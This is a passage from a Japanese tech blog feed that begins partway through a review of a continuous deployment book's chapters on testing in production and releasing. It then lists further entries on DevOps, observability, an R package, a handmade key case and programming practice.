11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテクチャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへの影響や、テストデータの管理コストについても慎重に検討する必要があります。本番環境でのデバッグ本番環境でのデバッグの難しさについても言及しています。特に、フロントエンドコードのデバッグに関する議論は非常に興味深かったです。ソースマップを本番環境で利用することについての著者の提案は、賛否両論あると思います。確かに、デバッグの容易さという点では大きなメリットがありますが、セキュリティの観点からは慎重に検討する必要があります。私の経験では、ソースマップを限定的に利用する方法(例えば、特定のIPアドレスからのアクセスに限定する)が有効でした。また、バックエンド側のデバッグについても言及があれば良かったと感じました。例えば、分散トレーシングやログ集約の重要性、エラー報告システムの構築などは、本番環境でのデバッグに不可欠な要素です。ステージング環境の役割再考著者は最後に、本番環境でのテストが十分に成熟した場合、ステージング環境の役割を再考する必要があると主張しています。この点については、完全に同意します。Figure 11-9. Testing in production and continuous delivery maturity より引用Figure 11-9は、テスト環境の進化を示しており、非常に示唆に富んでいます。確かに、多くの組織で複雑なステージング環境の維持に多大なリソースが費やされています。本番環境でのテストが十分に成熟すれば、これらのリソースをより価値のある活動に振り向けることができます。私の経験では、ステージング環境を完全に廃止するのではなく、その役割を再定義することが有効でした。例えば、自動化されたインテグレーションテストの実行や、大規模な移行テストの実施など、特定の目的に特化したステージング環境を維持することで、本番環境のリスクを最小限に抑えつつ、効率的なテストが可能になりました。結論第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境テストの重要性と実践方法について、深い洞察を提供しています。著者の主張は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。本番環境でのテストは、単なるリスクテイキングではなく、むしろシステムの信頼性と品質を大幅に向上させる強力なツールです。フィーチャートグルの活用、適切なテストデータ管理、そして成熟したデバッグ手法の組み合わせにより、安全かつ効果的な本番環境テストが可能になります。しかし、本番環境でのテストを成功させるためには、技術的な課題だけでなく、組織文化の変革も必要です。開発者、QA、運用チームの緊密な連携と、「失敗から学ぶ」文化の醸成が不可欠です。また、本番環境テストの成熟度に応じて、ステージング環境の役割を再考することも重要です。リソースの効率的な活用と、より迅速なフィードバックループの確立につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、より洗練された本番環境テスト戦略を構築していきたいと考えています。特に、フィーチャートグル管理の最適化、テストデータの自動生成と管理、そして分散システムにおけるデバッグ手法の改善に注力する必要があるでしょう。本番環境でのテストは、継続的デプロイメントの成功に不可欠な要素です。それは単にバグを早期に発見するだけでなく、システム全体の信頼性、スケーラビリティ、そして最終的にはユーザー満足度の向上につながります。この章の内容は、その挑戦に立ち向かうための貴重な指針となるでしょう。Chapter 12. Releasing第12章「Releasing」は、継続的デプロイメントの最終段階であるリリースプロセスに焦点を当てています。この章では、デプロイメントとリリースの違い、カナリーリリース、A/Bテスティングなど、安全かつ効果的にソフトウェアをユーザーに届けるための重要な概念と戦略が詳細に解説されています。デプロイメントとリリースの区別著者は冒頭で、デプロイメントとリリースの明確な区別を強調しています。デプロイメントは日常的な技術的イベントで、エンジニアリングニーズに基づいて1日に複数回行われる可能性があります。一方、リリースはビジネスイベントで、プロダクトニーズに基づいて独自のペースで行われます。この区別は、継続的デプロイメントの実践において極めて重要です。私自身、以前携わっていたプロジェクトで、この区別の重要性を痛感しました。デプロイメントとリリースを明確に分離することで、技術チームはコードの変更を頻繁に本番環境にプッシュしつつ、ビジネス側はユーザーへの機能公開のタイミングを戦略的にコントロールできるようになりました。例えば、ある大規模なECサイトのリニューアルプロジェクトでは、新機能のコードを数週間かけて段階的にデプロイしながら、実際のリリース(ユーザーへの公開)は大規模なマーケティングキャンペーンに合わせて一斉に行いました。これにより、技術的なリスクを最小限に抑えつつ、ビジネスインパクトを最大化することができました。フィーチャーフラグの重要性フィーチャーフラグをリリース管理の中心的なツールとして位置づけています。フィーチャーフラグは、コードのデプロイメントと機能のリリースを分離する強力なメカニズムです。私の経験からも、フィーチャーフラグの重要性は強調してもしきれません。以前、マイクロサービスアーキテクチャを採用したプロジェクトで、フィーチャーフラグを活用して新機能のロールアウトを制御しました。例えば、新しい決済システムの導入時には、まず社内ユーザーのみに機能を公開し、その後徐々にユーザーセグメントを拡大していきました。これにより、潜在的な問題を早期に発見し、大規模な障害を防ぐことができました。ただし、フィーチャーフラグの管理には課題もあります。フラグの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。私のチームでは、定期的なフラグの棚卸しと、フラグのライフサイクル管理を導入することで、この問題に対処しています。カナリーリリースカナリーリリースを新機能の安全な導入方法として詳細に説明しています。カナリーリリースは、新機能を限られたユーザーグループに段階的に公開し、その影響を監視しながら徐々に対象を拡大していく手法です。私自身、カナリーリリースの有効性を実感した経験があります。ある大規模なSaaSプラットフォームで、新しいデータ処理パイプラインを導入する際に、カナリーリリースを採用しました。最初は全トラフィックの1%に対して新パイプラインを有効にし、パフォーマンスと整合性を監視しました。問題が発見されなかったため、段階的にトラフィックを5%、10%、25%と増やしていきました。この段階的なアプローチにより、本番環境での予期せぬ問題を早期に発見し、修正することができました。例えば、トラフィックを10%に増やした際に、特定のケースでレイテンシが増加していることが分かりました。これにより、大規模な障害が起こる前に問題を特定し、修正することができました。A/BテスティングA/Bテスティングを製品開発の重要なツールとして紹介しています。A/Bテスティングは、異なるバージョンの機能を同時に比較し、ユーザー行動やビジネスメトリクスへの影響を測定する手法です。私の経験からも、A/Bテスティングは製品開発の意思決定プロセスを大きく改善する可能性があります。例えば、あるECサイトのチェックアウトフローの最適化プロジェクトでは、新旧2つのバージョンをA/Bテストしました。結果、新しいフローがコンバージョン率を8%向上させることが統計的に有意に示されました。これにより、新フローの全面的な導入を自信を持って決定することができました。しかし、A/Bテスティングには課題もあります。テストの設計、実行、結果の分析には多大な時間と労力が必要です。また、テスト期間中は複数のバージョンのコードを維持する必要があり、技術的な複雑性が増加します。私のチームでは、A/Bテスト専用のインフラストラクチャを構築し、テストの実施から結果の分析までを効率化することで、これらの課題に対処しています。カナリーリリースとA/Bテスティングの使い分けカナリーリリースとA/Bテスティングの違いと使い分けについて明確に説明しています。カナリーリリースは主にリリースのリスク軽減を目的としているのに対し、A/Bテスティングは製品実験とユーザー行動の理解を目的としています。この区別は重要ですが、実際のプロジェクトでは両方のアプローチを組み合わせて使用することが多いです。私の経験では、新機能をカナリーリリースで安全にデプロイした後、A/Bテストを実施してその効果を測定するという流れが効果的でした。例えば、新しい検索アルゴリズムの導入時には、まずカナリーリリースで全トラフィックの10%に新アルゴリズムを適用し、パフォーマンスと安定性を確認しました。問題がないことを確認後、残りの90%のトラフィックを使ってA/Bテストを実施し、新旧アルゴリズムのユーザーエンゲージメントと検索精度を比較しました。この方法により、技術的なリスクを最小限に抑えつつ、ビジネス面での効果を正確に測定することができました。結論フィーチャーフラグ、カナリーリリース、A/Bテスティングを効果的に活用することで、組織はリリースのリスクを最小限に抑えながら、データに基づいた製品開発の意思決定を行うことができると結論づけています。私自身の経験からも、これらの手法は継続的デプロイメントの成功に不可欠だと強く感じています。ただし、これらの手法を効果的に活用するためには、技術的な実装だけでなく、組織文化の変革も必要です。開発者、製品管理者、データアナリストなど、異なる役割の人々が緊密に連携し、迅速な意思決定と実行を行える体制を整えることが重要です。また、これらの手法を導入する際は、組織の規模、技術スタック、開発文化を考慮し、段階的に導入していくことをお勧めします。例えば、まずはシンプルなフィーチャーフラグから始め、徐々にカナリーリリース、そしてA/Bテスティングへと発展させていくアプローチが効果的でしょう。最後に、リリース戦略は常に進化し続けるべきものだと考えています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、継続的に自社のリリースプロセスを見直し、改善していく姿勢が重要です。この章で学んだ原則と手法を基礎としつつ、各組織やプロジェクトの特性に合わせてカスタマイズし、より効果的なリリース戦略を構築していくことが、継続的デプロイメントの成功につながるのだと確信しています。おわりに本書を読むのを通じて、継続的デプロイメントの全体像を探求できました。理論的な基礎から始まり、実際の開発サイクルにおける適用、そしてリリース戦略に至るまで、幅広いトピックをカバーしてました。特に印象的だったのは、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチを変革する可能性を持つことです。フィーチャーフラグ、カナリーリリース、A/Bテスティングなどの手法は、リスクを最小限に抑えつつ、データに基づいた意思決定を可能にします。継続的デプロイメントの実践は、常に進化し続けています。新しい技術やツールが登場し、ユーザーの期待も変化していく中で、私たちも常に学び、適応していく必要があります。なお、本読書感想文ではPart V. Case Studiesを省略しています。この部分では、実際の企業が継続的デプロイメントをどのように実践しているかの事例が紹介されています。これらの事例は、理論を実践に落とし込む上で非常に有益な洞察を提供しています。興味のある方は、ぜひ原書を手に取って読んでみることをお勧めします。最後に、継続的デプロイメントの導入を検討している読者の皆様に、エールを送りたいと思います。この旅は挑戦的ですが、同時に非常にやりがいのあるものです。成功だけでなく、失敗からも多くを学ぶことができるでしょう。ソフトウェア開発の景色は常に変化しています。皆様が継続的デプロイメントを通じて、どのような成果を上げ、どのような課題に直面するのか、ぜひフィードバックをお聞かせください。私たちエンジニアの共同体全体で、この実践をさらに発展させていけることを楽しみにしています。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/02/080453","isoDate":"2024-10-01T23:04:53.000Z","dateMiliSeconds":1727823893000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post インテックとスリーシェイク、クラウド事業領域で協業し、ユーザー企業のDXを推進 ~両社の得意分野を活かしたクラウドシフトとモダン開発を実現~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/intec_3shake/","isoDate":"2024-09-30T05:01:51.000Z","dateMiliSeconds":1727672511000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevEXとは","contentSnippet":"目次 はじめに DevExとは何か DevExがアプリケーションとインフラにもたらすメリット DevExを始める時のポイント 代表的なDevEx技術 DevExに関する事例 Sreakeでできること 1. はじめに De […]The post DevEXとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devex%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:53.000Z","dateMiliSeconds":1727660153000,"authorName":"Sreake","authorId":"Sreake"},{"title":"DevOpsとは","contentSnippet":"目次 はじめに DevOpsとは何か DevOpsがもたらすメリット DevOpsを始める時のポイント DevOpsに関連する技術や組織 DevOpsに関する事例 Sreakeでできること 1. はじめに DevOpsは […]The post DevOpsとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/devops%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:30.000Z","dateMiliSeconds":1727660130000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティとは","contentSnippet":"目次 はじめに オブザーバビリティとは、従来の監視との違い 代表的なオブザーバビリティツールと機能の特徴 オブザーバビリティツール導入のポイント オブザーバビリティツールの導入事例 Sreakeでできること 1. はじめ […]The post オブザーバビリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%aa%e3%83%96%e3%82%b6%e3%83%bc%e3%83%90%e3%83%93%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:35:09.000Z","dateMiliSeconds":1727660109000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドセキュリティとは","contentSnippet":"目次 はじめに クラウドシステムのセキュリティリスクとは クラウドシステムの代表的なセキュリティ対策 セキュリティ対策の実施に必要なこと Sreakeでできること 1. はじめに 近年、企業のIT環境は急速にクラウド化が […]The post クラウドセキュリティとは first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%82%bb%e3%82%ad%e3%83%a5%e3%83%aa%e3%83%86%e3%82%a3%e3%81%a8%e3%81%af/","isoDate":"2024-09-30T01:34:40.000Z","dateMiliSeconds":1727660080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rのヘルプを便利にするfelp v0.6.0をリリース","contentSnippet":"Rのヘルプを便利にするfelpパッケージのv0.6.0をリリースしました。felpはfunctional helpの略称です。数年前のTokyo.Rでの雑談がきっかけで生まれたパッケージで主に以下の機能があります。","link":"https://blog.atusy.net/2024/09/27/felp-0-6-0/","isoDate":"2024-09-27T00:00:00.000Z","dateMiliSeconds":1727395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Google Cloud 主催の Modern Infra & Apps Summit ’24 に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/moderninfra_appssummit/","isoDate":"2024-09-25T01:11:18.000Z","dateMiliSeconds":1727226678000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Argo CDによるKubernetesマルチテナント構成の検討","contentSnippet":"はじめに はじめまして、スリーシェイクのSreake事業部インターン生の上田です。 私は、SRE技術の調査と研究を行う目的で2024年8月19日~8月30日に開催された2週間のインターンに参加しました。 私はCI/CDパ […]The post Argo CDによるKubernetesマルチテナント構成の検討 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-multi-tenants-by-argo-cd/","isoDate":"2024-09-24T22:18:20.000Z","dateMiliSeconds":1727216300000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クリアファイルで財布に入るキーケースを作った","contentSnippet":"昨日の記事で紹介したhmnyのコンパクト財布に入るキーケースを作りました。クリアファイルを加工しているので薄くて軽くて丈夫です。逆さにして振っても鍵が落ちてこない絶妙なホールド力も実現。ハンドメイドなので、自分の鍵にサイズを合わせられるメリットが活きています。自宅と自転車の鍵が入ります。間にはマスキングテープでスマートタグのTileを貼りつけています。これで最低限必要な鍵は財布と共に持ち歩けます。トラッキングも鍵と財布で分けずに一元化できます。空の状態はこんな感じ。クリアファイルから必要なサイズを切り取って、鍵の形に合わせて溶着しています。クリアファイルはポリプロピレン製で230度~280度の温度で溶着できるとのことだったので、温度調整機能つきのはんだごてを270度に設定して使いました。こて先が広めな面状のものを使うと、もう少し仕上がりがよかったかもしれません。","link":"https://blog.atusy.net/2024/09/21/handmade-keycase/","isoDate":"2024-09-21T00:00:00.000Z","dateMiliSeconds":1726876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"退屈な作業をなぜ避けるべきでないのか?もしくはちゃんとやる","contentSnippet":"はじめにプログラミングは、本質的に創造性に満ちた営みであり、知的好奇心を刺激する活動です。これこそが、私がプログラミングに深い愛着を感じる主な理由であり、恐らく多くの方々も同じではないでしょうか?。プログラミングにおいて、各課題は独自性を持ち、その解決には常に新たな発想が求められます。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonしかしながら、全ての問題に同僚や上司を唸らす解決策が存在するわけではありません(もしくは自分の知らない美しい解決策があるのかもしれない)。どれほど刺激的なプロジェクトであっても、単調な作業が不可避な場面は必ず存在します。例えば、創造性を発揮しにくい定型業務や、誰もが敬遠しがちな煩雑な作業などが挙げられます。私たちは往々にして、こうした退屈な作業を後回しにし、より魅力的なタスクに取り組みたいという誘惑に駆られます。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon地味で魅力に乏しい作業は放置すれば勝手に片付くわけではありません。そして、中途半端に処理された作業は、プロジェクト全体の品質を徐々に蝕む危険因子となり得ます。これらの作業も、プロジェクトの成功には欠かせない重要な要素です。主人公追放系みたいな結論になりたくないのであればチーム全体で、これらの作業の価値を理解し、適切に分担して取り組むことが、健全なプロジェクト運営につながります。雑用付与術師が自分の最強に気付くまで(コミック) : 1 (モンスターコミックス)作者:アラカワシン,戸倉儚双葉社Amazonプログラマーの三大美徳ここからは余談の時間です。本記事では、プログラミング界隈で長く語り継がれてきた「プログラマーの三大美徳」という概念を紹介します。一見すると矛盾しているように見えるこれらの美徳は、実は優秀なプログラマーが体現すべき本質的な姿勢を巧みに表現しています。怠惰(Laziness)短気(Impatience)傲慢(Hubris)これらの「美徳」は、表面的な意味とは異なり、長期的な効率と品質を追求するための姿勢を象徴しています。3つをそれぞれ紹介します。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonなお、このようなプログラミングに関する概念や原則について、より広く学びたい方には「プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則」という書籍がおすすめです。プログラミングの基本から応用まで幅広く網羅されており、キャリアの長さに関わらず有益な知識を得ることができるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon怠惰ここでいう怠惰は、単に仕事を避けることではありません。将来の労力を削減するために今努力する姿勢を指します。例えば、繰り返し作業を自動化するスクリプトを作成することで、長期的には大幅な時間短縮が可能になります。短気この文脈での短気は、非効率やバグに対する不寛容さを意味します。問題を見つけたらすぐに解決しようとする姿勢は、ソフトウェアの品質向上に直結します。傲慢ここでの傲慢さは、自分のコードに対する高い基準と誇りを持つことを指します。他者の目に耐えうる質の高いコードを書こうとする姿勢は、長期的にはメンテナンス性の向上をもたらします。退屈な作業を避けない理由これらの美徳を念頭に置くと、退屈な作業の重要性が見えてきます。では、なぜ退屈な作業を避けてはいけないのでしょうか。以下に理由を挙げます。短期的な不便を我慢することで、長期的な利益が得られるコードの品質と保守性が向上する同じ問題が繰り返し発生するのを防ぐことができる例えば、関数の引数を追加し、それを使用している全ての箇所を更新する作業は退屈で時間がかかりますが、これを怠ると将来的に大きな問題を引き起こす可能性があります。賢明な努力の仕方プログラミングにおいて退屈な作業は避けられませんが、それらに対処する効果的な方法があります。以下に、退屈な作業に直面したときに個人的な対応策を紹介します。自動化の可能性を探る繰り返し行う作業や定型的なタスクに遭遇したら、まずその自動化を検討しましょう。作業の頻度と複雑さを考慮しつつ、スクリプト作成やツール導入などの自動化手段を探ります。短期的には多少の労力が必要でも、長期的には大幅な時間節約と効率化につながる方法を模索することが重要です。近年では、生成AIの活用も自動化の強力な選択肢となっています。例えば:コード生成: 単調な構造のコードや、頻繁に書く定型的なコードパターンの生成に利用できます。ドキュメント作成: コメントの生成やREADMEファイルの下書き作成など、文書作成作業の効率化に役立ちます。テストケース生成: 基本的なユニットテストの雛形を自動生成し、テスト作成の負担を軽減できます。バグ修正支援: エラーメッセージを基に、潜在的な修正案を提案してもらうことができます。ただし、AIの出力は常に人間のレビューと検証が必要であり、また著作権や法的問題にも注意が必要です。自動化にも適切な投資と判断が必要であり、作業の重要度と頻度に応じて最適な方法を選択することが賢明です。完璧を求めすぎない完璧主義は時として進捗の妨げになります。問題の本質的な部分に注力し、まずは効率的に動く最小限の機能を実装することを目指しましょう。残りの細部は段階的に改善していく方針を取ることで、プロジェクトを効率的に進めながらも品質を確保することができます。長期的な視点を持つ目の前の作業に追われるだけでなく、その作業が将来のコード品質や保守性にどのような影響を与えるかを常に意識することが大切です。短期的には非効率に見えても、長期的には大きな価値を生み出す取り組みを優先することで、持続可能で高品質なソフトウェア開発が可能になります。技術的負債を減らし、将来の拡張性を考慮したコーディングを心がけましょう。退屈さを認識しつつ取り組む避けられない退屈な作業に直面した際は、その必要性や全体における位置づけを理解することが重要です。小さな目標を設定したり、作業の中から新しい学びを見出したりするなど、モチベーションを維持する工夫をしながら粛々と取り組みましょう。このような姿勢は、プロフェッショナルとしての成熟度を高めるとともに、最終的にはプロジェクト全体の品質向上に大きく貢献します。時間を区切って取り組む面倒で退屈な作業に向き合う際、ポモドーロテクニックのような時間管理手法を活用するのも効果的です。これは、25分の作業と5分の休憩を1セットとし、これを繰り返す方法です。時間を区切ることで、以下のような利点があります:集中力の維持:短い時間に区切ることで、集中力を持続させやすくなります。達成感の獲得:1ポモドーロ(25分)ごとに小さな達成感を味わえます。作業の可視化:何ポモドーロ分の作業だったかを数えることで、作業量を把握しやすくなります。ストレス軽減:定期的な休憩により、精神的な負担を軽減できます。退屈な作業も、「あと1ポモドーロだけ」と自分に言い聞かせることで、モチベーションを保ちやすくなります。また、この手法は作業の見積もりにも役立ち、「このタスクは約4ポモドーロで終わりそうだ」といった具合に、作業の規模を把握しやすくなります。時間を決めて取り組むことで、際限なく作業が続く不安も軽減され、より前向きに退屈な作業に取り組めるようになるでしょう。これらの方策を適切に組み合わせることで、退屈な作業も効率的かつ効果的に取り組むことができ、結果としてプロジェクト全体の質の向上につながります。プログラミングの技術は、こうした日々の小さな努力の積み重ねによって磨かれていきます。おわりにプログラマーとして成長するためには、創造的な作業だけでなく、時には退屈な作業を受け入れて取り組む必要があります。これは単なる根性論ではなく、コードの品質と効率を長期的に向上させるための賢明な戦略なのです。三大美徳を心に留めながら、退屈な作業も真摯に取り組むことで、より優れたプログラマーになることができるでしょう。時には「ただ釘を打つ」ような単純作業も、全体の品質向上には欠かせません。実際、この「釘を打つ」作業の質が、ソフトウェア全体の堅牢性と信頼性に大きく響くのです。一本一本の釘がしっかりと打たれていなければ、どんなに立派な設計図も意味をなさないのと同じです。プログラミングの本質は、単に動くコードを書くことではなく、保守性が高く、効率的で、長期的に価値のあるソフトウェアを作ることです。そのためには、時には退屈な作業も厭わない姿勢が必要です。小さな作業の積み重ねが、最終的には大きな違いを生み出すのです。完璧な設計や革新的なアルゴリズムも重要ですが、それらを支える地道な作業の質こそが、ソフトウェアの真の強さを決定づけます。退屈な作業を丁寧に、そして誠実に遂行することで、私たちは真に信頼性の高い、価値あるソフトウェアを作り上げることができるのです。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/09/20/171550","isoDate":"2024-09-20T08:15:50.000Z","dateMiliSeconds":1726820150000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"hmny casualのコンパクト財布を買った","contentSnippet":"10年以上、アブラサスの旅行財布を使っていましたが、この度、hmny casualのコンパクト財布に買い替えました。写真はやや青みがかかってますが、実際には黄緑に近い色です。皺の入りかたは個体差があり、1つと同じ商品がないところもステキ。","link":"https://blog.atusy.net/2024/09/20/hmny-wallet/","isoDate":"2024-09-20T00:00:00.000Z","dateMiliSeconds":1726790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ルールは現場で死にました - The Rules of Programming の読書感想文","contentSnippet":"本日は人生の数ある選択肢のなかから、こちらのブログを読むという行動を選んでくださいまして、まことにありがとうございます。はじめにプログラミングの世界には多くの指針や原則が存在します。Chris Zimmerman氏の「The Rules of Programming」(邦題:ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール)は、不変の知恵を凝縮した一冊です。これらの原則は、多くの開発現場で活用できる有益な内容となっていると思いました。The Rules of Programming: How to Write Better Code (English Edition)作者:Zimmerman, ChrisO\'Reilly MediaAmazon本書は、大ヒットゲーム『Ghost of Tsushima』などで知られるゲーム制作スタジオ、Sucker Punch Productionsの共同創設者であるChris Zimmerman氏によって書かれました。コードの品質、パフォーマンス、保守性に関する多くの原則は、ゲーム開発以外の様々な分野で共通しています。豊富な経験の中で培われた知見が、仕様通り、想定通りにコードを書けるようになったものの、さらに良いコードがあるはずだという漠然とした感覚を抱いているあなたのスキルを次のレベルへと導いてくれるでしょう。本日は #英語デー\uD83C\uDF0Fあの名台詞、英語で言ってみよう!\\"誉れは浜で死にました。ハーンの首をとるために。\\"\\"Honor died on the beach. Khan deserves to suffer.\\"- 境井仁 (『Ghost of Tsushima』より)#ゴーストオブツシマ #GhostofTsushima #英語の日 #ゲームで学ぶ英会話 pic.twitter.com/RBYRuRVmvx— プレイステーション公式 (@PlayStation_jp) 2021年4月23日 ブログのタイトルは「誉れは浜で死にました。」- 境井仁 (『Ghost of Tsushima』より)からいただきました。このタイトルは、本書の内容と呼応するように、時に固定観念や既存のルールを疑い、現場の状況に応じて柔軟に対応することの重要性を示唆しています。21のルールの意義と特徴著者の豊富な経験から抽出された21のルールは、新人から経験豊富な開発者まで、すべてのプログラマーが知っておくべき本質的な知恵を提供しています。これらのルールは単なる技術的なティップスではなく、プログラミングの哲学とも言えるものです。例えば、「コードは書くものではなく、読むものである」というルールは、保守性と可読性の重要性を強調しています。ルールは現場で死にました本書の特筆すべき点は、実際の開発現場からの生きた例が豊富に盛り込まれており、著者が読者に対しこれらのアプローチを鵜呑みにせず自身の現場や経験と照らし合わせながら批判的に考えることを推奨していることです。この姿勢は、プログラミングが常に進化し、コンテキストによって最適な解決策が変わり得ることを認識させてくれます。本書を通じて、私たちはプログラミングの技術だけでなく、良いコードとは何か、どのようにしてそれを書くべきかについて、深く考えさせられます。これは単なるスキルアップではなく、プログラマーとしての思考方法や哲学の形成にも大きく寄与するでしょう。当初の目論見と能力不足による断念当初、様々なコーディングルールをまとめて紹介しようと考えていましたが、作業量が膨大となり断念しました。この経験から、良質な情報をキュレーションすることの難しさと重要性を学びました。今後、機会を見つけて他のコーディングルールについても順次紹介していきたいと考えています。この過程で、異なる開発文化や言語間での共通点や相違点についても探究していきたいと思います。日本語版日本語版の出版により、多くの日本人エンジニアがより深い理解を得られ、本書の真髄を効果的に吸収できたと実感しています。翻訳書の重要性は、単に言語の壁を取り除くだけでなく、文化的なコンテキストを考慮した解釈を提供する点にもあります。この日本語版は、日本のソフトウェア開発文化にも大きな影響を与える可能性を秘めています。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。syu-m-5151.hatenablog.com本編「The Rules of 